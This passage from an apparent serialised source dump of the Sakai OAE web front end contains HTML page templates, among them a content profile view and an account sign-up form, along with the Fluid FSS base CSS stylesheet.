id=\"widget_contentmetadata\" class=\"widget_inline\"></div>\n                            <div id=\"widget_contentcomments\" class=\"widget_inline\"></div>\n                        </div>\n                        <div class=\"fl-container-250 fl-force-right\" style=\"width:245px;\">\n                            <div id=\"widget_relatedcontent\" class=\"widget_inline\"></div>\n                        </div>\n                    </div>\n                    <div class=\"s3d-bottom-spacer\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- DELETE CONTENT WIDGET -->\n        <div id=\"widget_deletecontent\" class=\"widget_inline\"></div>\n\n        <div id=\"content_profile_listpeople_container\" class=\"testing fl-fix fl-centered fixed-container s3d-main-container\" style=\"display:none;\">\n            <!-- PICKERUSER WIDGET -->\n            <div id=\"widget_contentpermissions\" class=\"widget_inline\"></div>\n\n            <span style=\"display:none;\" id=\"content_profile_text\">__MSG__CONTENT_PROFILE__</span>\n            <span style=\"display:none;\" id=\"content_profile_users_added_text\">__MSG__THE_FILE_HAS_BEEN_SUCCESSFULLY_SHARED_WITH__</span>\n            <span style=\"display:none;\" id=\"content_profile_users_removed_text\">__MSG__ALL_SELECTED_USERS_AND_GROUPS_HAVE_BEEN_REMOVED_FROM__</span>\n            <span style=\"display:none;\" id=\"content_profile_viewers_text\">__MSG__VIEWERS__</span>\n            <span style=\"display:none;\" id=\"content_profile_managers_text\">__MSG__MANAGERS__</span>\n            <span style=\"display:none;\" id=\"content_profile_cannot_remove_everyone\">__MSG__CONTENT_CANNOT_REMOVE_ALL_MANAGERS__</span>\n\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script src=\"/dev/lib/tinymce/tiny_mce_src.js\" language=\"JavaScript\" type=\"text/javascript\"></script>\n\n        <!-- Page JS -->\n        <script>require([\"/dev/javascript/content_profile.js\"]);</script>\n\t\t\n\t</body>\n</html>\n", "dev/create_new_account.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.create_new_account.css\" />\n\n    </head>\n    <body class=\"fl-centered create_account show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n                <div style=\"padding: 20px;\">\n                    <div id=\"signup_header\">\n                        <div id=\"signup_descriptionbox_left\" class=\"signup_descriptionbox\">__MSG__SIGN_UP_MESSAGE_1__</div>\n                        <div id=\"signup_descriptionbox_right\" class=\"signup_descriptionbox\">__MSG__SIGN_UP_MESSAGE_2__</div>\n                        <div id=\"signup_descriptionbox_middle\" class=\"signup_descriptionbox\">__MSG__SIGN_UP_MESSAGE_3__</div>\n                    </div>\n                    <div id=\"signup_header_bg\">\n                        <form id=\"create_account_form\">\n                            <div id=\"signup_form_container\">\n                                <div id=\"signup_form_shadow\"></div>\n                                <h1 class=\"signup_header\">__MSG__CREATE_A_NEW_ACCOUNT__</h1>\n                                <div class=\"signup_form_column\">\n                                    <div class=\"s3d-form-field-wrapper\">\n                                        <label for=\"firstName\" class=\"firstName s3d-input-label\">__MSG__FIRSTNAME__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"firstName\" name=\"firstName\" class=\"create_account_input required\" placeholder=\"Hiroyuki\"/>\n                                        <label for=\"lastName\" class=\"lastName s3d-input-label\">__MSG__LASTNAME__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"lastName\" name=\"lastName\" class=\"create_account_input required\" placeholder=\"Sakai\"/>\n                                        <label for=\"email\" class=\"email s3d-input-label\">__MSG__EMAIL__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"email\" name=\"email\" class=\"create_account_input required email\" placeholder=\"hiroyuki.sakai@example.com\"/>\n                                    </div>\n                                </div>\n\n                                <div class=\"signup_form_column\">\n                                    <div class=\"s3d-form-field-wrapper\">\n                                        <label id=\"username_label\" class=\"username s3d-input-label\" for=\"username\">__MSG__USERNAME__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"username\" name=\"username\" class=\"username_unavailable_icon create_account_input required\" placeholder=\"Hiroyuki\"/>\n                                        <label for=\"password\" class=\"password s3d-input-label\">__MSG__PASSWORD__:</label>\n                                        <input type=\"password\" maxlength=\"255\" id=\"password\" name=\"password\" class=\"create_account_input required\" placeholder=\"&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;\"/>\n                                        <label for=\"password_repeat\" class=\"password_repeat s3d-input-label\">__MSG__RE_TYPE_PASSWORD__:</label>\n                                        <input type=\"password\" maxlength=\"255\" id=\"password_repeat\" name=\"password_repeat\" class=\"create_account_input required\" placeholder=\"&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;\"/>\n                                    </div>\n                                </div>\n                                <div class=\"captcha_container\" id=\"captcha_box\">\n                                    <div id=\"widget_captcha\" class=\"widget_inline\"></div>\n                                    <button id=\"save_account\" class=\"s3d-button s3d-large-button\" type=\"submit\">__MSG__CREATE_ACCOUNT__</button>\n                                </div>\n                            </div>\n                        </form>\n                    </div>\n\n                    <div id=\"firstName_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_FIRST_NAME__</div>\n                    <div id=\"lastName_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_LAST_NAME__</div>\n                    <div id=\"email_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_A_VALID_EMAIL_ADDRESS__</div>\n                    <div id=\"email_invalid\" style=\"display:none;\">__MSG__THIS_IS_AN_INVALID_EMAIL_ADDRESS__</div>\n                    <div id=\"username_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_USERNAME__</div>\n                    <div id=\"username_short\" style=\"display:none;\">__MSG__THE_USERNAME_SHOULD_BE_AT_LEAST_THREE_CHARACTERS_LONG__</div>\n                    <div id=\"username_spaces\" style=\"display:none;\">__MSG__THE_USERNAME_SHOULDNT_CONTAIN_SPACES__</div>\n                    <div id=\"password_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_PASSWORD__</div>\n                    <div id=\"password_short\" style=\"display:none;\">__MSG__YOUR_PASSWORD_SHOULD_BE_AT_LEAST_FOUR_CHARACTERS_LONG__</div>\n                    <div id=\"password_repeat_empty\" style=\"display:none;\">__MSG__PLEASE_REPEART_YOUR_PASSWORD__</div>\n                    <div id=\"password_repeat_nomatch\" style=\"display:none;\">__MSG__THIS_PASSWORD_DOES_NOT_MATCH_THE_FIRST_ONE__</div>\n\n                    <div class=\"signup_comment_box\">\n                        <div class=\"signup_comment_box_arrow_down\"><!----></div>\n                        <div class=\"signup_comment_icon signup_comment_icon_personalspace\"><!----></div>\n                        <div class=\"signup_comment_box_commenter\">__MSG__SIGN_UP_RECOMMEND_NAME_1__,<br/>__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__</div>\n                        <span class=\"signup_comment_quote\">&quot;__MSG__SIGN_UP_RECOMMEND_MESSAGE_1__&quot;</span>\n                    </div>\n                    <div class=\"signup_comment_box\">\n                        <div class=\"signup_comment_box_arrow_down\"><!----></div>\n                        <div class=\"signup_comment_icon signup_comment_icon_cohere\"><!----></div>\n                        <div class=\"signup_comment_box_commenter\">__MSG__SIGN_UP_RECOMMEND_NAME_2__,<br/>__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__</div>\n                        <span class=\"signup_comment_quote\">&quot;__MSG__SIGN_UP_RECOMMEND_MESSAGE_2__&quot;</span>\n                    </div>\n                    <div class=\"signup_comment_box last\">\n                        <div class=\"signup_comment_box_arrow_down\"><!----></div>\n                        <div class=\"signup_comment_icon signup_comment_icon_editable\"><!----></div>\n                        <div class=\"signup_comment_box_commenter\">__MSG__SIGN_UP_RECOMMEND_NAME_3__,<br/>__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__</div>\n                        <span class=\"signup_comment_quote\">&quot;__MSG__SIGN_UP_RECOMMEND_MESSAGE_3__&quot;</span>\n                    </div>\n                    <h2>__MSG__INSTITUTIONS_USING_SAKAI__</h2>\n                    <ul id=\"signup_institution_logos\">\n                        <li><img src=\"/dev/images/logo_inst_nyu.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_stanford.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_STANFORD__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_cambridge.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_CAMBRIDGE__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_yale.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_YALE__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_csu.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_CSU__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_oxford.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_OXFORD__\"></li>\n                    </ul>\n                </div>\n                <div class=\"fl-push fl-widget\"><!-- --></div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/createnewaccount.js\", \"//www.google.com/recaptcha/api/js/recaptcha_ajax.js\"]);</script>\n\n    </body>\n</html>", "dev/createnew.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.createnew.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header collection_modified\"><!-- --></div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div class=\"s3d-page-column-right\">\n                    <div id=\"s3d-page-main-content\" class=\"s3d-page-content-lowpadding\"></div>\n                    <div class=\"s3d-bottom-spacer\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        \n        <!-- GROUP JS -->\n        <script>require([\"/dev/javascript/createnew.js\"]);</script>\n        \n    </body>\n</html>\n", "dev/css/FSS/fss-base.css": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\n/* Fluid Base \n * combination of Fluid FSS files from:\n * http://fluidproject.org/releases/1.1.2/infusion-1.1.2.zip\n * version: Infusion 1.1.2\n * \n * Concatenated files contained here:\n *  fss-reset.css\n *  fss-layout.css\n *  fss-text.css\n *  \n *  Based on version: 2.5.2 of the Yahoo CSS reset, font, and base\n *  Copyright (c) 2008, Yahoo! Inc. All rights reserved.\n *  Code licensed under the BSD License:\n *  http://developer.yahoo.net/yui/license.txt\n *  \n *  Please see these files in: http://fluidproject.org/releases/1.1.2/infusion-1.1.2-src.zip \n *  for usage and full license information\n */\n\n/* Fluid Reset: \n * fss-reset.css \n */\n\ntable{font-size:inherit;font:100%;}\npre,code,kbd,samp,tt{font-family:monospace;*font-size:108%;line-height:100%;}\nhtml{color:#000;background:#FFF;}\nbody,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{margin:0;padding:0;}\nfieldset,img{border:0;}\naddress,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal;}\nli{list-style:none;}\ncaption,th{text-align:left;}\nh1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal;}\nq:before,q:after{content:'';}\nabbr,acronym{border:0;font-variant:normal;}\nsup{vertical-align:text-top;}\nsub{vertical-align:text-bottom;}\nlegend{color:#000;}\nh1{font-size:138.5%;}\nh2{font-size:123.1%;}\nh3{font-size:108%;}\nh1,h2,h3{margin:0.5em 0;}\nh1,h2,h3,h4,h5,h6,strong{font-weight:bold;}\nabbr,acronym{border-bottom:1px dotted #000;cursor:help;}\nem{font-style:italic;}\nblockquote,ul,ol,dl{margin:1em;}\nol,ul,dl{margin-left:2em;}\nol li{list-style:decimal outside;}\nul li{list-style:disc outside;}\ndl dd{margin-left:1em;}\nth{font-weight:bold;text-align:center;}\ncaption{margin-bottom:.5em;text-align:center;}\np,fieldset,table,pre{margin-bottom:1em;}\ninput[type=text],input[type=password],textarea{width:12.25em;*width:11.9em;}\ninput,textarea,select{font-family:inherit;font-size:inherit;font-weight:inherit;}\nhtml{overflow:auto;font:13px/1.231 arial,helvetica,clean,sans-serif;*font-size:small;}\ninput,textarea,select{*font-size:100%;*font-family:sans-serif;}\ninput{*overflow:visible;*padding:0 1em;}\n:focus{outline:2px solid black;}\n\n/* Fluid Layout: \n * fss-layout.css \n */\n\n.fl-fix{overflow:auto;zoom:1;}\n.fl-push{clear:both;}\n.fl-hidden{visibility:hidden;margin:0;}\n.fl-force-right{float:right;display:inline;}\n.fl-force-left{float:left;display:inline;}\n.fl-centered{margin-left:auto;margin-right:auto;display:block;}\n.fl-container-50{width:50px;}\n.fl-container-100{width:100px;}\n.fl-container-150{width:150px;}\n.fl-container-200{width:200px;}\n.fl-container-250{width:250px;}\n.fl-container-300{width:300px;}\n.fl-container-350{width:350px;}\n.fl-container-400{width:400px;}\n.fl-container-450{width:450px;}\n.fl-container-500{width:500px;}\n.fl-container-550{width:550px;}\n.fl-container-600{width:600px;}\n.fl-container-650{width:650px;}\n.fl-container-700{width:700px;}\n.fl-container-750{width:750px;}\n.fl-container-800{width:800px;}\n.fl-container-850{width:850px;}\n.fl-container-900{width:900px;}\n.fl-container-950{width:950px;}\n.fl-container-1000{width:1000px;}\n.fl-container-auto{width:auto;}\n.fl-container-flex{width:100%;clear:both;}\n.fl-container-flex10{width:10%;}\n.fl-container-flex20{width:20%;}\n.fl-container-flex25{width:25%;}\n.fl-container-flex30{width:30%;}\n.fl-container-flex33{width:33%;}\n.fl-container-flex40{width:40%;}\n.fl-container-flex50{width:50%;}\n.fl-container-flex60{width:60%;}\n.fl-container-flex66{width:66%;}\n.fl-container-flex75{width:75%;}\n.fl-layout-linear *,.fl-layout-linear .fl-linearEnabled{overflow:visible!important;clear:both!important;float:none!important;margin-left:0!important;margin-right:0!important;}\n.fl-layout-linear .fl-container,.fl-layout-linear .fl-container-100,.fl-layout-linear .fl-container-150,.fl-layout-linear .fl-container-200,.fl-layout-linear .fl-container-250,.fl-layout-linear .fl-container-300,.fl-layout-linear .fl-container-400,.fl-layout-linear .fl-container-750,.fl-layout-linear .fl-container-950,.fl-layout-linear .fl-container-auto,.fl-layout-linear .fl-container-flex25,.fl-layout-linear .fl-container-flex30,.fl-layout-linear .fl-container-flex33,.fl-layout-linear .fl-container-flex50,.fl-layout-linear .fl-col,.fl-layout-linear .fl-col-side,.fl-layout-linear .fl-col-flex,.fl-layout-linear .fl-col-main,.fl-layout-linear .fl-col-fixed,.fl-layout-linear .fl-col-justified{width:100%!important;margin:auto;padding:0!important;}\n.fl-layout-linear .fl-force-left,.fl-layout-linear .fl-force-right,.fl-layout-linear li{display:block!important;float:none!important;}\n.fl-layout-linear .fl-linearEnabled{width:100%!important;display:block;}\n.fl-layout-linear .fl-button-left,.fl-layout-linear .fl-button-right{padding:1em;}\n.fl-col-justified{float:left;display:inline;overflow:auto;text-align:justify;}\n.fl-col-flex2,.fl-col-flex3,.fl-col-flex4,.fl-col-flex5{overflow:hidden;zoom:1;}\n.fl-col{float:left;display:inline;}\n.fl-col-flex5 .fl-col{width:18.95%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-flex4 .fl-col{width:24%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-flex3 .fl-col{width:32.33%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-flex2 .fl-col{width:48.85%;margin-left:.25%;margin-right:.25%;padding-left:.25%;padding-right:.25%;}\n.fl-col-mixed,.fl-col-mixed2,.fl-col-mixed3{overflow:auto;zoom:1;}\n.fl-col-mixed .fl-col-side{width:200px;}\n.fl-col-mixed .fl-col-side,.fl-col-mixed .fl-col-main{padding:0 10px;}\n.fl-col-mixed2 .fl-col-side{width:200px;padding:0 10px;float:left;}\n.fl-col-mixed2 .fl-col-main{margin-left:220px;padding:0 10px;}\n.fl-col-mixed3 .fl-col-main{margin:0 220px;}\n.fl-col-fixed,.fl-col-flex{padding:0 10px;}\n.fl-col-mixed .fl-col-fixed{width:200px;padding:0 10px;}\n.fl-col-mixed .fl-col-flex{margin-left:220px;padding:0 10px;}\n.fl-col-mixed-100 .fl-col-fixed{width:100px;}\n.fl-col-mixed-100 .fl-col-flex{margin-left:120px;}\n.fl-col-mixed-150 .fl-col-fixed{width:150px;}\n.fl-col-mixed-150 .fl-col-flex{margin-left:170px;}\n.fl-col-mixed-200 .fl-col-fixed{width:200px;}\n.fl-col-mixed-200 .fl-col-flex{margin-left:220px;}\n.fl-col-mixed-250 .fl-col-fixed{width:250px;}\n.fl-col-mixed-250 .fl-col-flex{margin-left:270px;}\n.fl-col-mixed-300 .fl-col-fixed{width:300px;}\n.fl-col-mixed-300 .fl-col-flex{margin-left:320px;}\n.fl-tabs{margin:10px 0 0 0;border-bottom:1px solid #000;text-align:center;padding-bottom:2px;}\n.fl-tabs li{list-style-type:none;display:inline;}\n.fl-tabs li a{padding:3px 16px 2px;background-color:#fff;margin-left:-5px;*margin-bottom:-6px;zoom:1;border:1px solid #000;color:#999;}\n.fl-tabs-center{text-align:center;}\n.fl-tabs-left{text-align:left;padding-left:10px;}\n.fl-tabs-right{text-align:right;padding-right:15px;}\n.fl-tabs .fl-reorderer-dropMarker{padding:0 3px;background-color:#c00;margin:0 5px 0 -5px;zoom:1;}\n.fl-tabs .fl-tabs-active a{padding:2px 16px;border-bottom:none;color:#000;}\n.fl-tabs-content{padding:5px;}\n@media screen and(-webkit-min-device-pixel-ratio:0){.fl-tabs li a{padding:3px 16px 3px;}\n.fl-tabs .fl-tabs-active a{padding:3px 16px 4px;}\n}\n.fl-listmenu{padding:0;margin:0;border-bottom-width:1px;border-bottom-style:solid;}\n.fl-listmenu li{margin:0;padding:0;list-style-type:none;border-width:1px;border-style:solid;border-bottom:none;}\n.fl-listmenu a{padding:5px 5px;display:block;zoom:1;}\nul.fl-grid,.fl-grid ul{padding:0;margin:0;}\n.fl-grid li{list-style-type:none;display:inline;}\n.fl-grid li{float:left;width:19%;margin:.5%;height:150px;overflow:hidden;position:relative;display:inline;}\n.fl-grid li img{display:block;margin:5px auto;}\n.fl-grid li .caption{position:absolute;left:0;bottom:0;width:100%;text-align:center;height:1em;padding:3px 0;}\n.fl-icon{text-indent:-5000px;overflow:hidden;cursor:pointer;display:block;height:16px;width:16px;margin-left:5px;margin-right:5px;background-position:center center;background-repeat:no-repeat;}\ninput.fl-icon{padding-left:16px;}\n.fl-button-left{float:left;margin-right:10px;padding:0 0 0 16px;background-position:left center;background-repeat:no-repeat;}\n.fl-button-right{float:right;margin-left:10px;padding:0 0 0 16px;background-position:left center;background-repeat:no-repeat;}\n.fl-button-inner{float:left;padding:5px 16px 5px 0;cursor:pointer;background-position:right center;background-repeat:no-repeat;}\n.fl-widget{padding:5px;margin-bottom:10px;}\n.fl-widget .button{margin:0 5px;}\n.fl-grabbable .fl-widget-titlebar{background-position:center top;background-repeat:no-repeat;cursor:move;}\n.fl-widget .fl-widget-titlebar h2{padding:0;margin:0;font-size:105%;}\n.fl-widget .fl-widget-titlebar .fl-button-inner{font-size:.8em;padding-bottom:.2em;padding-top:.2em;}\n.fl-widget .fl-widget-controls{margin:-1.3em 0 1.5em 0;}\n.fl-widget .fl-widget-options{background-color:#D5DBDF;overflow-y:hidden;}\n.fl-widget .fl-widget-options ul{margin:0;padding:0;overflow:hidden;zoom:1;}\n.fl-widget .fl-widget-options li{list-style-type:none;float:left;display:inline;padding:0 5px 0 5px;margin-left:-5px;}\n.fl-widget .fl-widget-options a{margin-right:5px;}\n.fl-widget .fl-widget-content{zoom:1;margin:5px 0 0 0;}\n.fl-widget .empty *{padding-top:10px;margin-left:auto;margin-right:auto;text-align:center;}\n.fl-widget .menu{margin:0;}\n.fl-widget .toggle{width:32px;}\n.fl-widget .on{background-position:left top;}\n.fl-widget .off{background-position:left bottom;}\n.fl-controls-left li{list-style-type:none;text-align:left;}\n.fl-controls-left .fl-label{float:left;text-align:left;width:50%;margin-right:5px;}\n.fl-controls-right li{list-style-type:none;display:block;text-align:left;}\n.fl-controls-right .fl-label{float:left;text-align:right;width:50%;margin-right:5px;}\n.fl-controls-centered li{list-style-type:none;display:block;text-align:left;}\n.fl-controls-centered .fl-label{float:left;text-align:center;width:50%;margin-right:5px;}\n.fl-noBackgroundImages,.fl-noBackgroundImages *{background-image:none!important;}\n.fl-noBackgroundImages .fl-icon{text-indent:0!important;width:auto!important;background-color:transparent!important;}\n.fl-ProgEnhance-enhanced,.fl-progEnhance-enhanced{display:none;}\n.fl-offScreen-hidden{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden;}\n\n/* Fluid Text: \n * fss-text.css \n */\n\n.fl-font-size-70,.fl-font-size-70 body,.fl-font-size-70 input,.fl-font-size-70 select,.fl-font-size-70 textarea{font-size:.7em!important;line-height:1em!important;}\n.fl-font-size-80,.fl-font-size-80 body,.fl-font-size-80 input,.fl-font-size-80 select,.fl-font-size-80 textarea{font-size:.8em!important;line-height:1.1em!important;}\n.fl-font-size-90,.fl-font-size-90 body,.fl-font-size-90 input,.fl-font-size-90 select,.fl-font-size-90 textarea{font-size:.9em!important;line-height:1.2em!important;}\n.fl-font-size-100,.fl-font-size-100 body,.fl-font-size-100 input,.fl-font-size-100 select,.fl-font-size-100 textarea{font-size:1em!important;line-height:1.3em!important;}\n.fl-font-size-110,.fl-font-size-110 body,.fl-font-size-110 input,.fl-font-size-110 select,.fl-font-size-110 textarea{font-size:1.1em!important;line-height:1.4em!important;}\n.fl-font-size-120,.fl-font-size-120 body,.fl-font-size-120 input,.fl-font-size-120 select,.fl-font-size-120 textarea{font-size:1.2em!important;line-height:1.5em!important;}\n.fl-font-size-130,.fl-font-size-130 body,.fl-font-size-130 input,.fl-font-size-130 select,.fl-font-size-130 textarea{font-size:1.3em!important;line-height:1.6em!important;}\n.fl-font-size-140,.fl-font-size-140 body,.fl-font-size-140 input,.fl-font-size-140 select,.fl-font-size-140 textarea{font-size:1.4em!important;line-height:1.7em!important;}\n.fl-font-size-150,.fl-font-size-150 body,.fl-font-size-150 input,.fl-font-size-150 select,.fl-font-size-150 textarea{font-size:1.5em!important;line-height:1.8em!important;}\n@media screen and(-webkit-min-device-pixel-ratio:0){[class~='fl-font-size-70'] input[type=submit],[class~='fl-font-size-70'] input[type=button]{padding:0 1em;}\n[class~='fl-font-size-80'] input[type=submit],[class~='fl-font-size-80'] input[type=button]{font-size:.8em!important;padding:0 1em;}\n[class~='fl-font-size-90'] input[type=submit],[class~='fl-font-size-90'] input[type=button]{font-size:.9em!important;padding:0 1em;}\n[class~='fl-font-size-100'] input[type=submit],[class~='fl-font-size-100'] input[type=button]{font-size:1em!important;padding:0 1em;}\n[class~='fl-font-size-110'] input[type=submit],input[type=submit][class~='fl-font-size-110'],[class~='fl-font-size-110'] input[type=button]{background-color:#fff;font-size:1.1em!important;padding:0 1em;}\n[class~='fl-font-size-120'] input[type=submit],input[type=submit][class~='fl-font-size-120'],[class~='fl-font-size-120'] input[type=button]{background-color:#fff;font-size:1.2em!important;padding:0 1em;}\n[class~='fl-font-size-130'] input[type=submit],input[type=submit][class~='fl-font-size-130'],[class~='fl-font-size-130'] input[type=button]{background-color:#fff;font-size:1.3em!important;padding:0 1em;}\n[class~='fl-font-size-140'] input[type=submit],input[type=submit][class~='fl-font-size-140'],[class~='fl-font-size-140'] input[type=button]{background-color:#fff;font-size:1.4em!important;padding:0 1em;}\n[class~='fl-font-size-150'] input[type=submit],input[type=submit][class~='fl-font-size-150'],[class~='fl-font-size-150'] input[type=button]{background-color:#fff;font-size:1.5em!important;padding:0 1em;}\n[class~='fl-font-serif'] input[type=submit],[class~='fl-font-sans'] input[type=submit],[class~='fl-font-monospace'] input[type=submit],[class~='fl-font-arial'] input[type=submit],[class~='fl-font-verdana'] input[type=submit],[class~='fl-font-times'] input[type=submit],[class~='fl-font-courier'] input[type=submit]{background-color:#fff;padding:0 1em;}\n}\n.fl-font-serif,.fl-font-serif *{font-family:Georgia,Times,\"Times New Roman\",\"Book Antiqua\",serif!important;}\n.fl-font-sans,.fl-font-sans *{font-family:Tahoma,Verdana,Helvetica,sans-serif!important;}\n.fl-font-monospace,.fl-font-monospace *{font-family:\"Courier New,Courier\",monospace!important;}\n.fl-font-arial,.fl-font-arial *{font-family:\"Arial\"!important;}\n.fl-font-verdana,.fl-font-verdana *{font-family:\"Verdana\"!important;}\n.fl-font-times,.fl-font-times *{font-family:Georgia,Times,\"Times New Roman\",serif!important;}\n.fl-font-courier,.fl-font-courier *{font-family:\"Courier New\",Courier,monospace!important;}\n.fl-text-align-left{text-align:left;}\n.fl-text-align-right{text-align:right;}\n.fl-text-align-center{text-align:center;}\n.fl-text-align-justify{text-align:justify;}\n.fl-font-spacing-0,.fl-font-spacing-0 body,.fl-font-spacing-0 input,.fl-font-spacing-0 select,.fl-font-spacing-0 textarea{letter-spacing:0;}\n.fl-font-spacing-1,.fl-font-spacing-1 body,.fl-font-spacing-1 input,.fl-font-spacing-1 select,.fl-font-spacing-1 textarea{letter-spacing:.1em;}\n.fl-font-spacing-2,.fl-font-spacing-2 body,.fl-font-spacing-2 input,.fl-font-spacing-2 select,.fl-font-spacing-2 textarea{letter-spacing:.2em;}\n.fl-font-spacing-3,.fl-font-spacing-3 body,.fl-font-spacing-3 input,.fl-font-spacing-3 select,.fl-font-spacing-3 textarea{letter-spacing:.3em;}\n.fl-font-spacing-4,.fl-font-spacing-4 body,.fl-font-spacing-4 input,.fl-font-spacing-4 select,.fl-font-spacing-4 textarea{letter-spacing:.4em;}\n.fl-font-spacing-5,.fl-font-spacing-5 body,.fl-font-spacing-5 input,.fl-font-spacing-5 select,.fl-font-spacing-5 textarea{letter-spacing:.5em;}\n.fl-font-spacing-6,.fl-font-spacing-6 body,.fl-font-spacing-6 input,.fl-font-spacing-6 select,.fl-font-spacing-6 